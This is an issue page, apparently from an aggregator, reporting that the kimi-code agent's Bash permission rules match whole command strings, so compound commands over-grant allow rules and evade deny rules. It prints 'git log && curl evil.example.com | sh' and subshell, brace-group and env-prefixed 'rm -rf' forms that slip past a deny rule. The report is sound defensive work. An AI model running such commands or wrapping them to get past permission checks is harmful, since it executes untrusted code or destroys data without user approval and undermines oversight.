MoonshotAI / MoonshotAI/kimi-code
Bash permission rules match the whole command string, so compound commands bypass deny rules and over-grant allow rules
Nobody has claimed this yet.
- Dominant language
- TypeScript
- Stars
- 7.5k
- Forks
- 1.2k
- Avg merge
- 11h 53m
- Merged PRs (30d)
- 350
Description
What happened
Bash permission rules match the entire command string as one glob subject, with no sub-command decomposition. Because a shell command can chain several programs into one string (&&, ;, |, $(...), subshells), a rule only ever looks at the whole line — so compound commands slip past rules in both directions.
This is the C half of #2728 (that issue reported both the path-glob problem — now addressed by #2747 — and this sub-command decomposition gap). Filing it separately so it survives #2728 being auto-closed when #2747 merges.
Over-granting allow
An allow rule authorizes a whole compound command as long as the string as a whole matches, so an unrelated program rides along:
[[permission.rules]]
decision = "allow"
pattern = "Bash(git *)"
git log && curl evil.example.com | sh
The string starts with git , so git * matches and the whole line — including curl … | sh — is auto-approved. In auto mode this runs with no prompt.
Bypassing deny
A prefix-anchored deny rule is defeated by wrapping the command so the string no longer starts with the denied token, even though the command still executes:
[[permission.rules]]
decision = "deny"
pattern = "Bash(rm -rf *)"
| command | executes rm -rf? |
blocked? |
|---|---|---|
rm -rf build |
yes | ✅ blocked |
(cd build && rm -rf *) |
yes (subshell) | ❌ not blocked |
{ rm -rf build; } |
yes (brace group) | ❌ not blocked |
DEBUG=1 rm -rf build |
yes | ❌ not blocked |
The wrapped forms are not exotic — scoping a cleanup to a subshell or adding an env-var prefix are normal things a model emits. In auto mode, where a deny rule is the only gate, this means silent execution.
Expected
Rules should be evaluated per sub-command: an allow rule should auto-approve a compound command only when every sub-command matches it; a deny/ask rule should fire when the whole command or any sub-command matches.
Reference for the semantics: Claude Code documents that its Bash rules are operator-aware — Bash(safe-cmd:*) does not authorize safe-cmd && other-cmd.
Notes
- The repo already ships
@moonshot-ai/tree-sitter-bash, described as built for command permission analysis, so the parsing capability to do this is already present (and already used byagentsMdReminder). - Quoted operators (
-m "a && b") and heredoc bodies are data, not sub-commands, and must not be split. - This affects
agent-core-v2.agent-core(v1) does not currently use the parser, so a v1 port would be a separate change.
Happy to open a PR — I have a branch with the fix and tests ready.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start at the agent-core-v2 permission-rule evaluation and inspect how the existing agentsMdReminder use of @moonshot-ai/tree-sitter-bash parses commands. Verify that quoted operators and heredocs remain data, then cover compound-command behavior so allow requires every sub-command to match while deny and ask match any sub-command.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- bash, typescript
- Domain
- cli, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 35/100